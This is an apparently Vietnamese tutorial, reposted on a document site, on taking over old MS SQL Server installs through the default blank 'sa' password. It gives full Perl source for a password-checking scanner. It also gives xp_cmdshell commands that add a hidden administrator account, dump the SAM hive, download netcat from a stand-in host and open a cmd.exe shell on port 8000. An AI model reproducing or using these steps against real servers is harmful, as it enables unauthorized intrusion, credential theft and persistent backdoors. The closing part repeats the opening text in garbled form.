Tấn Công Ms Sql Server, (cách cổ điển)

3 1.5K 2
Tấn Công Ms Sql Server, (cách cổ điển)

Đang tải... (xem toàn văn)

Thông tin tài liệu

Tấn Công Ms Sql Server, (cách cổ điển)

Tấn Công Ms Sql Server, (cách cổ điển)trang này đã được đọc lần Giới thiệu :hồi giờ chúng ta tấn công vào server dùng MS SQL Server đa phần là dùng kĩ thuật SQL injection , đây là kĩ thuật hack phải nói là hay nhất , hiệu quả cao và nhanh chóng nhất , tuy nhiên trong bài này tôi sẽ đề cập đến 1 cách khác để hack vào MS SQL Server , cách này tuy xác suất thành công không cao bằng SQl injection nhưng cũng đáng để quan tâm bởi vì đâu phải lúc nào chúng ta cũng tìm thấy lỗi SQl injection .Cách này của chúng ta tạm gọi là "TRSQL" vì đa phần là nhờ may mắn , nhưng chả hiểu sao hồi trước tới giờ tôi thấy cái may mắn này lại hay xảy ra .Công cụ đầu tiên chúng ta cần là sqlbf (SQL Brute Force ) cái này cứ vào packetstorm mà tìm .Và cái tool connect vào MS SQL Server : http://www.hvaonline.net/exploite/SqlExec.exeChúng ta bắt đầu :Hầu hết MS SQL Server đầu chạy trên TCP port 1433 , còn nếu chạy trên port khác thì mình dùng công cụ scan là cũng ra ngay thôi . Cái MS SQL server mà chúng ta bàn luận ở đây hơi cũ chút là : SQL 6.5 & 7.0 . Tuy cũ nhưng tôi vẫn viết ra ở đây mục đích là học hỏi kinh nghiêm chứ không phải mục đích là tìm mục tiêu để hack phá phách . Download sqlbt về xong thì run nó , rất dễ dùng , công việc của nó là kiếm password cho chúng ta login . Nhược điểm của MS SQL server thứ nhất là mặc định system administrator là "sa" , do đó chúng ta không cần phải brute cái username mà chỉ cần brute force cái password là đủ , thứ 2 là default password của sa là "không gì hết" , cái này mới chết người , ai cũng quan niệm là "chỗ nguy hiểm nhất chính là chỗ an toàn nhất" , bởi vậy password là "không gì hết" thì đố ai ngờ được , sai lầm chết người của nhiều người quản trị mạng ở chỗ đó , vì chúng ta sqlbf tool nên ai suy nghĩ đó là chết liền .Sẵn đây tôi cũng giới thiệu với các bạn cái tool scan server password là "không gì hết" :save lại nội dung code sau thành file senseql.pl , và run :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------• scans for hosts with blank passwords• Brute Forces login attempts.#!/usr/bin/perl## SQL username/password checker## Parameters: senseql <IP> <username> <password>## Eg. to check for blank SA:## senseql 10.0.0.1 sa ""## Roelof Temmingh / Haroon Meer## roelof@sensepost.com / haroon@sensepost.com## SensePost IT Security## http://www.sensepost.com/ http://www.hackrack.com/## 2001/11/09use IO::Socket;$|=1;if ($#ARGV<2) {die "Usage: senseql IP username password\n";}$port=1433; $host=$ARGV[0]; $username=$ARGV[1]; $pass=$ARGV[2];$unh=pack("a30",$username);$psh=pack("a30",$pass);$numu=pack("c",length($username)); $nump=pack("c",length($pass));$FRONT="020002000000020000000000000000000000000000000000000000000000000000000000000000";$REST="30303030303061300000000000000000000000000000000000201881b82c080301060a090101000000000000000000737175656c646120312e30000000000000000000000000000000000000000b0000000000000000000000000000000000000000000000000000000000000000";$REST2="0000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040200004d5344424c49420000000706000000000d11000000000000000000000000000000000000000000000000";$hfront=pack("H*",$FRONT);$hrest=pack("H*",$REST);$hrest2=pack("H*",$REST2);$FULL=$hfront.$unh.$numu.$psh.$nump.$hrest.$nump.$psh.$hrest2;$SENDY2="0201004700000200000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030303000000003000000";$SENDY2 = pack("H*",$SENDY2);print "$host:$username:$pass:";$remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$host,PeerPort =>$port) || die "No SQL here man .";print $remote $FULL; print $remote $SENDY2;recv($remote,$back,100,MSG_PEEK);if ($back =~ /context to 'master'/) {print "Yep - go for it\n"}else {print "No dude \n";}close ($remote);Lets move on… at least to admins who have had the sense to change the admin password----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Giả sử như sqlbt tìm ra password của sa và login vào với username "sa" , chúng ta phải làm gì đây để nắm hoàn toàn hệt thống ?Giờ đây chúng ta thể dùng Stores Procedures , đặc biệt là xp_cmdshell , vấn đề bi giờ giống như là chúng ta hack bằng SQL injection mà quyền "sa" vậy . Sẵn đây tôi sẽ giới thiệu cho các bạn biết sơ về các Extended Stores Procedures cần thiết và chức năng của nó :xp_regread - reads a registry valuexp_rewrite - writes to the registryxp_regdeletekey - deletes a keyxp_regdeletevalue - deletes a key's valuexp_regenumvalues - lists names of value entriesxp_regaddmultistring - adds a multistring (zero-delimited string)xp_regremovemultistring - removes a multi string (zero delimited string)Nhiệm vụ chính của chúng ta hiện giờ là , add ADMIN , đổ SAM và UPLOAD Backdoor .Thêm tài khoản vào Administrators Group : ( username : Mask_NBTA , password : hacked )Xp_cmdshell 'net user Mask_NBTA hacked /ADD'Xp_cmdshell 'net localgroup /ADD Administrators Mask_NBTA'Đổ SAM :Có quyền admin thì đọc file SAM và Crack bằng L0pth Crack 4.0 : ( máy tôi pentium 4 1.7 Ghz crack 2 user mất khoảng 7h )Xp_regread 'HKEY_LOCAL_MACHINE','SECURITY\SAM\Domains\Account ','F'Tại sao thông qua "sa" ta thể làm nhiều việc như vậy , tại vì mặc định SQL Server chạy với quyền "local system" UPLOAD Backdoor :Các bạn thể dùng backdoor gì tuỳ thích , ở đây tôi dùng netcat ( xưa giờ vẫn ko thấy con nào hay hơn con này ) :xp_cmdshell 'tftp –I nasty.com GET nc.exe c:\nc.exe'và thi hành nó bằng cách :xp_cmdshell 'c:\nc.exe –l –p 8000 –e cmd.exe'Sau đó vào DOS , telnet vào server ở PORT 8000Xong , với 3 công việc này bạn đã biết phải làm gì khi được "sa" ở MS SQL Server .Àh , nếu bạn nào vô tình bằng cách gì đó được password HASH của "sa" thì tôi xin giới thiệu 1 cách để crack password này rất hiệu quả .Hướng dẫn cặn kẽ và tool sãn ở đây : http://www.ngssoftware.com/ tìm file cracking-sql-passwords.pdf . Tấn Công Ms Sql Server, (cách cổ điển)trang này đã được đọc lần Giới thiệu :hồi giờ chúng ta tấn công vào server dùng MS SQL Server đa phần. lại hay xảy ra .Công cụ đầu tiên chúng ta cần là sqlbf (SQL Brute Force ) cái này cứ vào packetstorm mà tìm .Và cái tool connect vào MS SQL Server : http://www.hvaonline.net/exploite/SqlExec.exeChúng

Ngày đăng: 02/11/2012, 14:19

Từ khóa liên quan

Tài liệu cùng người dùng

  • Đang cập nhật ...

Tài liệu liên quan